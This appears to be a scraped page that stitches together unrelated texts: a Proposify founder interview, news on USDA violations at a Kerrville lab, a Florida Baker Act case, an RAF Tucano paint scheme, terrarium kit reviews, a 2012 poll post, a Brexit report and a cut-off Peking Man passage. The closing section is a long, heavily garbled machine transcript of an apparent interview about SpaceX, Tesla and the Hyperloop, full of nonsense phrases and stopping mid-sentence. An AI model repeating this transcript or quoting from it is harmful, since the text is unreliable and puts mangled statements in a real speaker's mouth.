While the initial marketing work began to drive a few signups, Proposify was far from building anything resembling traction.
Kyle’s hopeful efforts to court the local agency community were going especially poorly.
I knew a lot of the agencies here, and I went and showed them the product. Most of them would sit down with me and look at the tool, a lot of them wouldn’t use it because we were still running an agency, and they’re saying things like “I’m not giving you my proposal data you guys are gonna steal my pricing, or see who we’re pitching.
It was then that Kyle and Kevin decided that to win, they’d have to sell the agency.
Things Go South
While Kyle and Kevin eventually found a buyer in a former client, things got very, very ugly.
For a very long time, they kept delaying the deal to crush our leverage, but making sure that we kept all of the staff. We really should have laid off people, as we just didn’t have the funds for them, but we kind of kept the façade in place in order to get this deal to come through. Obviously [the buyers] knew this, and they kept pushing things back to make us more and more desperate. While this was happening, we also owed money to the bank,and the bank wouldn’t release the assets on the business in order to sell it. They said that they had a claim on our assets and that we couldn’t sell it without their permission, so we said “well if we sell the company, we can actually pay you back,”, and they basically just said “no, you can’t sell the assets because you owe us money.” It was just a massive pain and distraction with the buyers, bankers, lawyers, and meanwhile we’re just dying, and we need to make this sale happen.
Eventually, the sale did happen, though it left Kyle and Kevin with nothing but freedom from the distraction of trying to sell the agency.
With that freedom came the opportunity to focus 100% of their time on building Proposify.
And to help things along, the pair received news that they had been accepted to the Canadian Technology Accelerator in Boston, a three-month program for tech startups.
But the acceptance came with challenges.
It meant that we would have to be there for three months, so the way Kevin and I sorted it out, I would go the first month, and he would go the second, and I would go the third. It was just hard with kids and family to be away for that long, and I was absolutely terrified going down there.
Still, the pair decided to go. The accelerator period would end up becoming a huge turning point in Proposify’s history, but before things got better, they’d get much, much worse.
Things Get Worse
While all of this was happening on the business front, things were getting bad in Kyle’s personal life.
All in the same year, he got divorced, broke his foot, and decided to leave the Jehovah’s Witnesses, the “cult” he had grown up in.
I was depressed as hell, and almost on the verge of suicidal. My family and friends shunned me, so I had all this personal stuff going on with the stress of trying to sell the business and get Proposify going. I had no idea what the future held.
His personal life had fallen apart, and his business was in shambles.
In an interview with Time, Kyle recounted a particularly low point:
Racki was driving across a bridge to Halifax and realized he didn’t have enough money to pay the toll. “You often hear the difference between success and failure is a matter of who gives up first,” he says.
But give up, he did not.
It was absolutely my lowest point, and I was just thinking that I need to get out there and do something… maybe go to an event or reconnect with people.
The Event That Changed Everything
There’s this start-up community called Volta here in Halifax, and they were having a pitch competition, so I signed up just to get out there and talk to people. It was in January 2013, it was snowy and miserable here, and I just showed the room what we had been working on over the last year. We actually ended up winning the pitch competition, which was cool, but even better was that an early-stage VC firm (who looked at us a year ago and turned us down) came up to us afterward and said, “you’re at a point where we could potentially do a deal with you.” They were also impressed that we were going to be going to the accelerator in Boston. So while we were down in Boston, we heard that this group wanted us to leave to come to Halifax and pitch the board. Now, mind you, this isn’t a massive amount of money ($250,000), but for us where we were at the time—with me not having enough money to get across the bridge—this was absolutely huge.
Even as the pair started the accelerator program, Kyle was doing small design projects on the side to pay his bills, so this new funding made a world of difference.
Finally, things began to look up.
The cash hit our account in May 2014, and that was when the purchase and sales agreement was signed for the agency, too. That just changed everything, and it was the moment where we both finally thought, “holy shit we’re not going to die.”
Turning Proposify Into a Real Business
Even with the newly-carved runway, Kyle and Kevin ran lean, paying themselves a modest salary and choosing to hire more development resources.
We got the money, and we basically calculated that it would last us until next March. We were going to pay ourselves a small salary just to pay our bills, and we needed to hire another developer because that’s what was really holding us back. A lot of businesses struggle with having a great product but being unable to find the right market, but we had the opposite problem. We had the market figured out, but our product was shit. We needed to add features, fix bugs, improve the UI; roadmap stuff that we needed more developers for. We could pretty much attribute all the churn we had in those days to things breaking, being difficult to use, or simply missing features that our competitors had. Our advisors were telling us, “hey what you have is solid, you just need to spend some money on marketing or use this money to hire a sales team and just get it out there,” and we ignored them and said “we appreciate that, thank you, but we’re not going to do that.”
Two features in particular—pre-made proposal templates and the ability to legally sign proposals online, along with an improved onboarding process—directly resulted in the biggest revenue increase the team had seen to date.
Once the dev team rolled it out, we saw a big bump. You can see there on our chart, it doesn’t look like a big blip now, but on September 30th we had done $958 MRR, which wasn’t a huge jump from the month prior, but then on October 31 we did almost $1500.
All of a sudden, the feedback started getting more positive. Instead of people Tweeting things like “your product sucks, you should go work at McDonald’s,” it was like “Wow, Proposify really saved me a lot of time and I closed a deal.”
Let me tell ya, I’ve never seen this kind of personable support in a long time. These guys are taking over the ‘proposal’ world! @proposify — Patrick Neve (@patrickneve_web) November 9, 2014
We thought, OK, maybe this is an anomaly, but then in November our MRR jumped to almost $2,500, and I think in December it was almost at $4,000 so it started climbing really quickly.
The Power of Perseverance
It was a long, slow haul to the rapid shift in fortune for Proposify, and Kyle attributes their success to the team’s willingness to stick it out.
It was a very tempting thing to change the direction of the product, or change markets or do what others told us to do, which was to hire a sales team.
I think that’s one of the things we did right, because if you look at that big flat graph for 18 months, I think that the only reason that we survived and are now thriving is just because we just wouldn’t stop working on making the product better during that time.
Proposify’s Key to Marketing Success
If you’re looking for a silver bullet, you won’t find one here. Kyle’s approach to marketing is the same unsatisfying-yet-dependable one practiced by most who succeed in this field: just put in the work.
I read QuickSprout and a bunch of blogs to keep up on like SEO best practices and content strategy and stuff, but it was really just putting in the work, it wasn’t anything majorly strategic. Once I knew we had a product that people would buy, it was all about me just reading Groove and other blogs, and just ripping off tactics. Trying out things, running A/B tests, content marketing; it wasn’t anything revolutionary, it was just putting in the effort.
Growing Up and Out
As Proposify has grown to $130,000 MRR in monthly recurring revenue (as of Oct 1st 2016), so too has Kyle’s role as CEO evolved.
His biggest challenge these days? Taking himself completely out of the equation.
I think it’s the job of every founder to basically do everything to the best of their ability, and then gradually hire people to take those hats away from them until you get to a point where you’re not even really needed in the business.
In the agency world, the question would be something like “should I really have been the one installing WordPress for this client?” Probably not. I probably should have hired someone to do that. Or should I have been the one leading a UX product with a client? No, I should’ve hired somebody to do that. I should’ve been working on big picture “where is the company going” kind of stuff, and that’s one thing I’ve been working hard on trying to be better at for Proposify.
What’s Next?
When asked about his big picture vision for Proposify’s future, Kyle shows a candidness that’s unusual in the startup community:
I don’t think it would be honest for us to say that a future acquisition isn’t on our minds. It’s not the immediate goal of what we want, but I think we want to build a great business, a profitable business, one that people are actually happy to work at.
If nobody comes in and buys us and makes us all millionaires, then at least we’ve got a really happy profitable business, and that’s a very good thing.
Your Turn: Ask Kyle Anything
Kyle has (very) generously agreed to answer your questions in the comments of this interview. We’re going to be watching closely and trying to learn as much as we can ourselves, so don’t be shy.
Post your questions for Kyle in the comments below.click image Wikimedia
The USDA sent a formal warning to an animal research facility in Kerrville.
After the United States Department of Agriculture learned a Kerrville animal research lab didn't provide medical attention to a rabbit with a broken leg and housed 180 goats in single-digit weather without shelter, it issued a stern warning.The lab, Equitech-Bio, committed five federal violations between September 30, 2014 and February 12, 2015, according to the USDA warning.Thehas obtained a copy of the warning, along with multiple routine USDA inspection reports detailing the violations.According to the USDA, Equitech-Bio, did not communicate to a veterinarian that a white and black-spotted adult rabbit had a broken leg."Animals with injuries or diseases must receive appropriate methods to diagnose and adequately treat diseases in a timely manner," the warning states.Federal regulations require that all injuries at the lab must be reported to a veterinarian in a timely manner."On January, 2015, it was determined that 180 goats were housed in a manner that did not protect them from the cold weather," the USDA warning states. "Specifically, the barn housing the goats had no bedding and did not provide a wind-break for the animals. Animals must be housed in a manner to prevent discomfort and stress."The facility also failed to establish an Institutional Animal Care and Use Committee, which is required of all research facilities that receive federal funding. This committee would review the facility for human care and use of animals, inspect animal facilities and submit reports every six-months. Additionally, the USDA chided Equitech-Bio for conducting animal research without Institutional Animal Care and Use Committee approval.National animal rights group Stop Animal Exploitation NOW! has filed a complaint against the lab with the USDA and is asking that Equitech-Bio be fined $10,000 per infraction.0 Woman upset after officer Baker Acted 9-year-old son
SEMINOLE COUNTY, Fla. - A Seminole County mom said a school resource officer went too far when he Baker Acted her son.
Karen kind said her son, Zach King, was taken into custody while she was trying to drop him off in front of Wicklow Elementary School.
Florida's Baker Act allows law enforcement officials to take individuals into custody for mental health evaluation and treatment -- voluntarily or involuntarily.
The officer reported that he believed the 9-year-old could hurt himself or others.
“It’s terrible because he shouldn’t have been there. The nurses were telling me on the ward he shouldn’t be there, we don’t know why he’s here,” Karen King said.
Karen King showed Channel 9 reporter Tim Barber records that said Zach king did not threaten violence, engage in violent behavior or attempt to injure himself.
She said her son has Asperger's syndrome and several behavioral problems, all of which the school was aware of.
Zach King said he acted the way he did because children pick on him in class.
“I got really nervous and my mom only got to see me for one hour,” he said.
“There was no need to Baker Act my child because he doesn’t want to hurt himself or others,” Karen King said.
WFTV legal analyst Bill Sheaffer said although the officer was in his rights to Baker Act the boy, it was not the best course of action.
“It was really frightening. I didn’t know what a Baker Act was until I asked my mom what it was,” Zach King said.
The school district said it has no say in if a student needs to be Baker Acted.
Karen King said she is home schooling her son until she can find a special school for him.
Barber asked police several times about the incident but still has not heard back.
More Information: Florida Department of Children and Families Baker Act Fact SheetGlobal Aviation Resource reveals the paint scheme that will adorn the Royal Air Force’s 2014 Tucano display aircraft.
This year’s scheme is designed to commemorate the World War One Centenary by incorporating a poppy theme – the universal symbol of remembrance. The team has also added the words ‘Lest We Forget’ on both the bottom of the aircraft and the sides of the fuselage.
“We were given quite a tight brief this year”, Display Pilot Flt Lt Dave Kirby told GAR. “We were not permitted to apply for a full paint scheme due to cost and the resultant down-time for the aircraft. We were also directed that the aircraft should remain available for the full spectrum of Basic Fast Jet Training carried out here at RAF Linton-on-Ouse, meaning that we had to keep the majority of the aircraft in its standard black paint scheme”. Black was proven to be the best colour for aircraft conspicuity when flying at low level, in a trial carried out in the 1990s.
“The Tucano has not been displayed in a black livery for over five years”. Dave continues, “The scheme also incorporates standard 72 Squadron markings on the tail; the Squadron’s Swift emblem at the top of the fin and the Squadron colours around the roundel. The Royal British Legion has kindly agreed to the use of its logo and we would like to thank them for their kindness. We will be supporting the RBL as one of our charities in 2014, together with RAFA and RAF Linton-on-Ouse station charities. We would also like to thank Jo Gough who has done such a wonderful job designing the display scheme and supplying these images for GAR.”
Regular airshow-goers will recognise Dave as last year’s Tucano Display Manager, and the former C-130 Hercules pilot is already looking forward to taking his own routine out to airshows this summer.
“When I was on the Herc I did a year dropping the Falcons parachute team, a season as display co-pilot and a season with the RAF Role Demo, so I’ve always enjoyed airshow flying. Fyvie (2013 Tucano display pilot) gave me a lot of hints last year and I’m enjoying working-up my own display.”
Dave will be ably assisted this year by a new manager, Flt Lt Jon Trueman. Jon has completed tours flying both the E-3 Sentry and C-130K Hercules and, in 2010, trained as a Tucano Qualified Flying Instructor. He currently instructs on No 72 (Reserve) Squadron at RAF Linton-on-Ouse, providing Basic Fast Jet Training to the RAF’s latest cadre of student pilots.
“I’ve always enjoyed supporting airshows, whether it’s been helping out with the Tucano display (see below) or taking aircraft from other fleets in to an event as a static display, so I am very much looking forward to working with Dave this season. I know it will be a lot of work, but then we are always busy here at Linton anyway, so it’s just work of a different flavour!”
The 2014 season is already shaping up to be a busy one and the Tucano is currently scheduled to appear 68 times at 35 different venues.
The confirmed calendar will be released once the RAF Events Team has received all relevant approvals in late February. Dave’s work-up is well under way and, having already practised at 500′, is expecting to go for his PDA (Public Display Authorisation) sometime in April.
For more information on the team, visit the official RAF website and Facebook group.
Global Aviation Resource would like to wish Kirbs and Jon all the best for the 2014 season and we will bring you more from the team in due course.
Many thanks to Flt Lt Dave Kirby, Flt Lt Jon Trueman and Jo GoughA Terrarium kit allows anybody to create your own tiny ecosystem in your own home – indoors. These self contained gardens are usually displayed in a glass container and can be either sat on a bench or hung from an appropriate location – depending on your terrarium.
Terrarium kits usually contain either air plants or succulents – both are very easy to setup and care for and can even survive being forgotten about for a week or two!
For beginners, it is probably best you start with a DIY Terrarium Kit that comes as a package. We have found the best kits that remove the guesswork from the equation and make the process of creating your own terrarium easy and enjoyable.
The Best DIY Terrarium Kits
Most terrarium kits come with everything you need to get your self-contained ecosystem up and running. Some of the items usually included are:
Glass terrarium globe/container and stand or hanger
Plants – usually air plants, moss or succulents
Rocks for the base
Decorative items – usually rocks, geode crystals or man-made decorations
With so many different terrarium kits available, it is often hard to know which one to choose to suit your requirements and budget. Well, we have done a lot of the research for you and have come up with a list to help you choose the best DIY terrarium kit that is ideal for you.
Hinterland Trading Teardrop Air Plant Terrarium
Perfect for
Sitting on your desk at work, but be prepared for everyone to ask you where you got it!
Kit Contents:
5.5″ glass teardrop terrarium
Air plant – Ionantha Scaposa which is between 2.5 – 2.5 ” tall
River pebble
Moss
Our Review:
The tear drop terrarium from Hinterland Trading is extremely popular for a reason. It comes with a flexible teardrop terrarium which can be either stood on a flat surface or hung from something suitable.
The plant is almost too big for the teardrop enclosure, but it is actually quite easy to insert without damaging either the plant or the container.
This setup is quite low maintenance, only requiring watering weekly.
Where to buy it:
The Hinterland Trading Air Plant Terrarium kit is available from Amazon.
Check Local Amazon Price
Creativity For Kids Fairy Garden Kit
Perfect for:
Teaching kids the basics of a garden while also creating an amazing decoration.
Kit Contents:
11″ Fairy garden dish
Wheatgrass and bean mixture seeds
Potting soil
Flower fairy Hannah
Resin fairy house
2 x Resin toadstools
Sparkling gems
Glittery pixie dust
2 x Tulle butterflies
Fabric flower boquet
Glass opti-stones
Purple gravel
Pain brush and six acrylic paints
Our Review:
Wow, talk about a kit that includes absolutely everything! From the growing dish to the seeds to the paints to decorate it – this kit includes everything your kids will need to grow their own indoor garden.
Designed especially for kids, the Faber Castell Fairy Garden Kit is sure to keep your kits entertained while they set up and decorate this amazing looking self-contained garden.
The plants grow amazingly easy and it is a great way to teach your children the basics of how a garden works. Your kids will be rushing to the fairy garden each day to see how much it has grown.
This terrarium is highly recommended for kids.
Where to buy it:
The Faber Castell Fairy Gardens Kit is available from Amazon.
Check Local Amazon Price
TerraGreen Creations Complete Terrarium Kit
Perfect for:
Anyone who wants a kit that guides them, but leaves room for your creativity to shine.
Kit Contents:
Organic succulent soil mix
Sheet moss
Activated charcoal
Pea gravel
Polished river pebbles
Choice of 3 glass terrarium sizes: 5″, 5.5″ and 8″
Our Review:
This is a great kit for anyone who is just starting out with Terrariums, but doesn’t want the full-on”hand holding” experience.
It comes with all the basics you need but leaves it up to you to find a suitable succulent or whatever other plant takes your fancy.
Taking only 10 minutes to assemble and get ready for a plant, it is one of the quickest kits to put together we looked at.
Where to buy it:
The TerraGreen Creations Kit is Complete Terrarium Kit: Succulent Planter With Soil and Glass Globe + All Supplies for Succulent, Cactus, and Fairy Garden (Glass Globe, Height 4 inches - Width 5 inches)
Check Local Amazon Price
Hinterland Trading Globe Air Plant Terrarium Kit
Perfect for:
An older child or teenagers room
Kit Contents:
4.5″ round Terrarium with hanger and flat bottom
Air plant – Tillandsia Bromeliads
Pebbles
Moss
Our Review:
The Hinterland Trading 4.5″ globe terrarium kit is top quality, from the globe itself to the airplant – everything arrives i great shape and is ready to go.
Many kits come with too few pebbles but that is not the case with this kit, it comes with an ample supply of pebbles and moss.
The kit usually arrives with a little note explaining that the plants have had a long trip and will require watering – which we thought was a nice touch!
This kit would suit any older child or teenagers room and is sure to liven up any space!
Where to buy it:
The Hinterlands Trading 4.5″ Glass Globe Terrarium Kit is available from Amazon.
Check Local Amazon Price
Faber Castell Grow n’ Glow Terrarium Kit
Perfect for:
A young child’s bedroom
Kit Contents:
5″ plastic jar terrarium & decorative lid
Potting mix
Organic chia and wheat grass seeds
Garden Figurines
Decorative sand
River stones
Plant mister
Glow in the dark stickers
Our Review:
Faber Castell have done it again with the Grow n Glow DIY Terrarium Kit. This kit is perfect for even a young childs room thanks to the plastic jar which will not break into dangerous sharp pieces if accidentally knocked onto the floor.
This Terrarium kit will teach kids what plants require to glow, and they can see the fruits of their work in just a few days as the chia and wheat grass seeds grow incredibly quickly.
And don’t forget the glow part! The kit includes glow in the dark stickers which will fill your children with wonder when it gets dark and send their imagination running wild.
Where to buy it:
The Faber Castell Glow n Grow DIY Terrarium Kit is available from Amazon.
Check Local Amazon Price
What Makes A Good Terrarium Kit?
When assessing each kit we look at a number of different factors to decide if they make the cut for our list.
Is it an all in one kit?
We look at if everything is included in the kit that you need to get up and going without purchasing anything else. Some kits that are not all in one do make the list, but most are all inclusive.
What type and number of plants included
For this criteria we look at the type of plants included, if there are suitable for a low maintenance terrarium and the number of plants included.
The size and quality of the globe/container
We do look a the size of the globe, but bigger is not always better. Some DIY Terrariums are designed to take up less room, so smaller globes can also rate highly.
Is a stand/hanger included?
Not all Terrarium kits include a stand or a hanger, but it is nice to have the option. Some also actually require a stand as the globe/container would not stand upright without it!
Ease of use
Are the instructions easy to follow and is the Terrarium easy to setup and keep alive?
Pricing last updated on 2019-02-27 at 08:44 / affiliate links - Details
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Related postsWhen is the winner not the winner?
When is the winner not the winner?
So how bad has President Barack Obama suffered as a result of his sub-par first debate? The tracking polls are certainly not giving anyone reason to panic. That is, unless you are a Republican:
Note that these Ipsos numbers are from their tracking poll, not the post-debate poll they ran yesterday showing the race going from Obama 48-39 pre-debate to Obama 48-43 post-debate. Those were one-day samples, not the rolling sample here.
Remember, the Ipsos rolling sample is five days long, Rasmussen's is three days, and Gallup is seven days. So the post-debate sample is just 1/5th 2/5th (see update), 1/3rd and 1/7th of those numbers, respectively. But had Obama tanked the day after the debate, there would be some slippage in the tracking poll toplines, not improvement for Obama. So if Romney saw any bump in his Thursday polling, it was offset by even better Obama polling before the debate.
One thing is true—oftentimes it takes several days to a week for a big campaign event to be reflected in the polls, as news junkies disseminate the information at water coolers and backyard picnics across the country. That is particularly the case in tracking polls with rolling samples, so we need to keep watching over the weekend to see if any latent damage starts showing up.
However, Republicans don't seem to be winning the post-debate spin, not when the "moment" that came out of the debate wasn't anything Obama said, but the fact that Mitt Romney wants to fire Big Bird.
Indeed, it wasn't the Romney campaign who is turning debate moments into television attack ads and internet memes.
Update: A new Ipsos/Reuters poll has been released, and I updated the chart above accordingly (the previous one had Obama +1). So Obama has held stead and Romney has gained +3. FYI, the new Ipsos numbers include data collected today, so it now has two days of post-debate responses.British and European Union negotiators have reached a deal in principle on the Brexit “divorce bill” that could see the UK paying some £45bn.
Sources in Brussels suggested to The Independent that talks have seen the two sides’ stances begin to align over the “methodology” for calculating the settlement, with the outcome increasingly acceptable to both sides.
If given the backing of Jean-Claude Juncker and the Prime Minister at a meeting on Monday the deal would help clear the way for EU leaders to agree to move Brexit talks on to trade at a crunch December council summit.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
The financial settlement had been eclipsed by the Irish border issue and citizens’ rights in recent days – a sign it is no longer the main sticking point in discussions.
Sources in both London and Brussels said that no final agreement had yet been set in stone, but intense negotiations ahead of the Monday’s meeting appear to have borne fruit.
No figure has been explicitly agreed upon, but sources in Brussels highlighted that the EU had always been pushing for clarity on how the bill would be drawn up as opposed to an outright number.
Other reports also filtered out of Brussels on Tuesday night pointing to negotiators having edged towards an agreement totalling between £45bn and £55bn.
Later, further reports emerged that cabinet ministers in London had agreed negotiating positions on keeping the Irish border open and an ongoing role for the European Court of Justice in guaranteeing EU citizens’ rights.
It was suggested in reports from Brussels that the figure would be deliberately left open to interpretation to give the Prime Minister political cover in the UK,
Theresa May said in her Florence speech in September that no EU country “need to pay more or receive less over the remainder of the current budget plan as a result of our decision to leave” and that “the UK will honour commitments we have made during the period of our membership”.
Her commitments there were read in Brussels to equate to some £20bn. But after it failed to break the logjam in talks, Ms May held a crunch meeting with her key cabinet ministers last week and won backing to up the offer.
Though no exact figure was agreed commitments the cabinet agreed to were expected to see the Government likely to pay some £40bn – near the figure said to have now been provisionally agreed by negotiators.
A spokesperson for the European Commission’s negotiating team would not comment, while British officials at David Davis Department for Exiting the EU said they didn’t “recognise” the figure.
A Downing Street source told The Independent: “Negotiations are ongoing ahead of the EU Council in December.”
When Ms May met cabinet ministers last week it was made clear that any increased offer for money would have to be accompanied by a clear plan for moving onto talks around the transition and trade stages of Brexit talks.
Tory backbenchers last night also made clear that they expected clear movement form the European Union if any agreement on money had been reached.
Conservative MP Bernard Jenkin told The Independent: “It better be worth it.
“It won’t be unless they now roll out the red carpet for a Rolls Royce free trade deal.”
But there are still key issues to be ironed out on the withdrawal part of the plan before Monday’s meeting – on ensuring EU citizens’ rights the role of the European Court of Justice and the export of benefits remain outstanding.
Shape Created with Sketch. Brexit: the deciders Show all 8 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. Brexit: the deciders 1/8 European Union's chief Brexit negotiator, Michel Barnier Getty 2/8 French President Emmanuel Macron Getty 3/8 German Chancellor Angela Merkel Reuters 4/8 Commission President Jean-Claude Juncker EPA 5/8 The European Parliament's chief Brexit negotiator Guy Verhofstadt Getty 6/8 Britain's Prime Minister Theresa May Getty Images 7/8 Britain's Chancellor of the Exchequer, Philip Hammond PA 8/8 After the first and second appointed Brexit secretaries resigned (David Davis and Dominic Raab respectively), Stephen Barclay is currently heading up the position PA 1/8 European Union's chief Brexit negotiator, Michel Barnier Getty 2/8 French President Emmanuel Macron Getty 3/8 German Chancellor Angela Merkel Reuters 4/8 Commission President Jean-Claude Juncker EPA 5/8 The European Parliament's chief Brexit negotiator Guy Verhofstadt Getty 6/8 Britain's Prime Minister Theresa May Getty Images 7/8 Britain's Chancellor of the Exchequer, Philip Hammond PA 8/8 After the first and second appointed Brexit secretaries resigned (David Davis and Dominic Raab respectively), Stephen Barclay is currently heading up the position PA
The question of what the Irish border will look like after Brexit has so-far proved intractable in a very public way, with Irish Government increasing pressure on Downing Street to commit to no hard border.
European Commission chief negotiator Michel Barnier said while on a visit to Estonia on Monday that that the “moment of truth” was approaching for Brexit talks and that an agreement on sufficient progress could be reach in “the next few days”.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe now.Dirk Pitt discovered the priceless bones of Peking Man in Clive Cussler’s thriller Flood Tide (Simon & Schuster 1997) while rescuing thousands of illegal immigrants who were abused by a devious Chinese smuggler. Although the discovery of these bones millions of years old was fiction, French divers from Cayeux de Mer think they can find them on an expedition planned for next summer. The quest for the bones, some Pearl Harbor intrigue and two sunken ships have created a scenario dubbed, “the Chinese connection.” Toss in the possibility that one of the wrecks holds $50 million in gold ingots and uncut diamonds and you have the ingredients of a story line that goes back three million years.
In 1927, David Black, a Canadian skeletal fossils scholar, announced from China the discovery of some of the remains of Sinanthropus Pekinensis, three million year old Peking Man. The digging at Chow Kou Tien continued with
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I mean the the the rocks Nelson workers... um isn't out yet... see the um... and and and the nurses told it pretty pretty high to its oval hundred degrees... and I've been the mistress high pressure and as a civic... says the high pressure putt acid bath so... we actually thought of having a D cup yet... I... Urwerk as did the this can be very challenging... and then of Mars... Mrs this is on the other side of that and it's the... it's it's colder than... that it's... it's the that that the tantrum was actually gets above groups of fruit... on it... a hot day in the summer... um... and the... review could warm was up over time with greenhouse gases into the off subordinate... I... or the greenhouse gas and whatever that you think the majestic Lake all the phone all the GM cars there again... but for the Mars atmosphere is it's primarily from the outside which shows you how long it's been a four billion years to know about that last week that things are also of slowly warms up a plan... yet... I was that they come towards the deficit that if you are good but we can talk about the cabal we know we have that it's been a... big big sectors of... the most is the... the unit as... it is awesome it's a fixer upper of a planet that we could put the bacon was the... I... seventeen do you do you want to go there yourself anything you might die in Iraq an accident right that it is to provide an impact in Brighton and impact that you don't like dying there... in a mini... book is considered a means of Wednesday night's... anywhere... you who've done was... I'm going with a white that yet... so that they could get a read... the vineyards the... sink the the... the the things are committed to going on... I think it's the truth when to... to to meet and akin to a party on people mistreatment... if you look the Future Bennett's inspiring exciting... thing in the futures of better... better than the present Ortiz has a good chance of being better present and I think that's... that's the... main driver... for me it's it's it's like okay... will we have more dissipates financialization... of... or will we be confined to do... when think of is much better if it was full of... the Iraq in store for doing payloads and it's a busy trying to business other than to correct him and then go to the zoo we were going to keep space X or that they're both right... and... so the... it was basic says this is... of florescent lights for commercial customers... Andy's bass fishing... so the Singapore NASA Stewart... who won the camera contracts to his position... transport cargo to from... this position that would be... the only profit blueprints that can talk about from... stay safe but it's not... readily re usable yet... cracked... its on it so you're in it each year breakthrough in the census them... to do what NASA and the Soviets used to do or still do to some extent it's it's still do it... but to do it in a prompt or via a private company... yes I passed up the outbreak is the star on this basic side are are are of... incremental in nature nor revolutionary... and and the aspiration is to two of the revolution a picture... of the threat that the costs of the propellant in the rugged is only about point three percent the cost of the... vehicle... so it's it's maybe a couple hundred thousand dollars to rebuild Iraq it's done... and where's possum sixty million dollars... um... and... which which has been mixed as did the plane cyclists as a plain Hospices were killing when... my big big difference... um we would never to be fine if you have to buy new when every flight... um... now... now... well although United showed the rights but they are that has come a time when the service when some of those United with dad... is a little one has to... be a nice things you do on a stuffed on a busy fellow... and what will your heroes... who are you what inspired him to be this... um... well I think... it... generally... of of of what you've read my and and just recently... and... scientists engineers and technologists in general are some bigger mire Tesla the cause of of... I'm... and to um... and many others... the... value of its people even at times I was like Tesla Edison to let people sometimes are... surprised to hear that it's become nickel Tesla... um... and the... new... Einstein Newton... I'm... just... like Darwin... I'm... a big fan... of a Ben Franklin magic uses in... forcing the... example of a great human being in history... in... salute to the... going to bed... are there obviously you've... for one of the pioneers of of import an Internet company at PayPal... I'm... a J P what did anybody else in the town of nineteen area inspire you... may not be still a speedy mentioned are... really great geniuses but they were then... forthcoming book well before the... more scientists an a and and and banners... well before the ninety s era urgent is too early in the power of the Atlantic City and... that my anyone is the tree is... working hard to cope with some great thing minutes... with the veneration the... end... of August it's... hard not to force like Steve Jobs... I'm... you know... both dates... the entrants are present data on the town of Baar tapes depend line... the ordinance to get them this is pretty awesome... um... the... and then of probably... many many journalists... the weather gets jealous so now I know... what you hear Exec fate... but when you talk about that and the Internet of today how we look at your in a very clear part of the internet that was you know in you I remember your in... your Mr. web of when Alec their rights and then you didn't echoes of the cars I remember the to some car picture yet... and for sure fee and McLaren F one write... exactly is the the workplace now... oh well I guess you know what that is a good thing to me and another to please us actually do... a bill... we don't impose them... you know and love of the IDX saloon when testing car which is the... sixty seven series one e type Jag... aam I don't know it's a great job... the most I have lots of five and a lot and... I'm... don't winner when it was the... so to begin college they were... trading at the McLaren F one and just intrigued with the botanist will be... really done right... and and subtle with if if if I'm a nobody that... I'd I'd buy them with ten points the... players living in a public Intel Malta... I'm... that the cost significantly less than the car... remember that picture yet received upgrades the house will buy the car... it's good... to know what the car... then we'll carry that time I was actually in the mess was in front of the Dewas clan symbol of the time... you know um gags ago I was and really if I wasn't the best idea but... I'm... today was in effect today was his company was this show... and... which is like if... the fizzy beverage you showed your resume but it was cool Silicon Valley Coal brush and um... and it is the cliff Bowman ninety nine... in its ninety nine... and to... um... and so it will mean giving the McLaren... and the... I'm a number of other people as well... on the force that we could go work out I was who would of been extremely embarrassing July crude Dylan are some of the that that was pretty excited about giving... so why would we... can and today with Emirates Christensen's about purchasing an ancestor... I'm... what you think of them abreast of the space the photo sharing is the meaning was given your daughter Mars in everything there is that with that that that I mean people are like body... the giving of us of the Jews animated... a lot of people... narcotic said I love though they're scared it's a great ones of silly but it's not going... it's not have been hard to Planetary habitats brands like a different thing now or even... a Seattle a drive from New York to L a on electric... power... electric power windows are twenty think of when you look at the end... when he with that with developing and what's happening... well I mean I think that... I'm actually... not dismissive of all things like for like Twitter sharing Apps McMahon the the... the the... the images lot of things where with it provides a small amount of value to a lot of people and that for this sums up to some large value and that's that's all good... if you were able to share... photos of their friends and family in a better way to maximize veteran... aam if... it if it's that it's a high value on the company's the Soviet me that smile about... I'm... and the... Manatee River... an enormous the event of a lot of talented people a... lot... of hard news... this compass and... those in the internet arena... I'm... and I figured drifted some of those people would would actually go to other... every step that could use their talents in the silly thing... but I would say let... this concept summons summoned the retail assets rose to its all-time Valley any Fed very smart guy... he said he knows a lot of big money is chasing small ideas have been... Anqi I... and sometimes in the ninth... kind of silly building elite wellies are fantastic and yet... like everyone's making Twinkies right to bring... the level and... added debt... this is probably... I'd I'd recommend that that people consider Korea's outside of the Internet... I'm... because this this this lot of places loaf of industries that... could use... that on the real talent in this the skills that you will clients in creating companies... aam... and to... the... yen and is actually a lot of up to the... and in these industries sickly once where... the... dividend could dominated by an All itself the posting... so the companies for a long time... Argo Cuisinart... or... two of his mouth is our top... grade at... innovation innovation comes from new entrants to an arena... and so that when industry has... had the absence of new entrants intends to to have... very limited innovation... which also means that if he did get a... new break on through the other side and... there's love offshoots the... World Cup and this has created their... when you doing next isn't... enough... time for the peace lasted for... them what they really are but with cousins physics for one time but is there one other renamed to have a solar single a... gap of effect advantages... but that's... what that as people... describe the success of Seoul's the beats me but it's really should be ascribed to that... because my cousin's of O'Connor's the... been there I've... been a pleasant strategic advice... aam and I suggested that they... your company in the solar arena... um... but the pages of the vast majority of the credit for or that the outcome in the... district of eastern districts... I... well we can see St husband and I wait in line said to me he was and why would they wanna hear he's not a technologist to say in Alannah... I don't know what gets uploaded onto the... internet to what I like Digital lifting its Legos like a cable things that so I think it when exactly did you go... nothing digital Tesla... that would arrive this bill paying more... um... that is yes... the... the seasonal things digital and physical from Spain... I'm it's it's the Christian servants people hoping all thing was that our new name well one day but we were served there can... I'm sure he was orphaned Sherpa... Elan... um... the ten year for many years and all is the new for many years of the oral was inspired to CC jaunts to... the honest we all miss him deeply... but somehow your presence during your inspiration... really... eases up and so thank you for coming... the the the the the the the... beyond that is what I do you have that we've discussed before which was hyper loop and... the price I would love for you to spill this audience what that is and how it to change the world again... thank you... yes... I feel it that that that's the question if I do... it will... there will be winners tomorrow... I'm... aware as I need to do that as the news... um... did that... yes... um... so... yes... I think probably built spoke about the hype with my day in... here pretty soon... this is a Tesla Nelson we've got next month or use it for... around two twentieth or so... and I think... um... I think so at some point after that would... like... to... the best to cope with... that that that that... will be a good time to talk about the hype we buy debt... for those unaware the 